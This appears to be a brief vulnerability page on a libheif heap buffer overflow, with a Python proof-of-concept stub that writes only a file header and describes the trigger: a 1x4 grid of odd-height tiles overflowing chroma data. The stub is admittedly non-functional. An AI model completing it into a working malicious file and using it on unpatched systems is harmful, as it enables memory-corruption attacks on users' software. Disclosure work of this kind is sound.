CVE-2026-32740 libheif堆缓冲区溢出漏洞

import struct # Proof of Concept (Conceptual) for CVE-2026-32740 # This script demonstrates the logic to construct a malicious HEIF/AVIF file structure # that triggers the heap buffer overflow in libheif < 1.22.0 # The vulnerability is triggered by a 1x4 grid of odd-height tiles. def create_malicious_heif(filename): with open(filename, 'wb') as f: # HEIF File Header (ftyp) f.write(b'\x00\x00\x00\x20ftypheic') # ... (Complex HEIF structure omitted for brevity) ... # Conceptual Grid Image Item Box construction # The goal is to define a grid with 1 row and 4 columns # where tile heights are odd numbers (e.g., 5x5, 5x5, 5x5, 5x5) # This configuration triggers the 64-byte chroma overflow. grid_height = 5 # Odd height grid_width = 5 # Width rows = 1 columns = 4 # Writing the grid item properties (simplified) # In a real exploit, precise offsets and box sizes are required. print(f"Constructing malicious grid: {rows}x{columns}, Tile Size: {grid_width}x{grid_height}") print(f"Writing to: {filename}") print("Note: This is a conceptual stub. A real file requires valid ISO Base Media File Format boxes.") if __name__ == "__main__": create_malicious_heif("exploit.heic")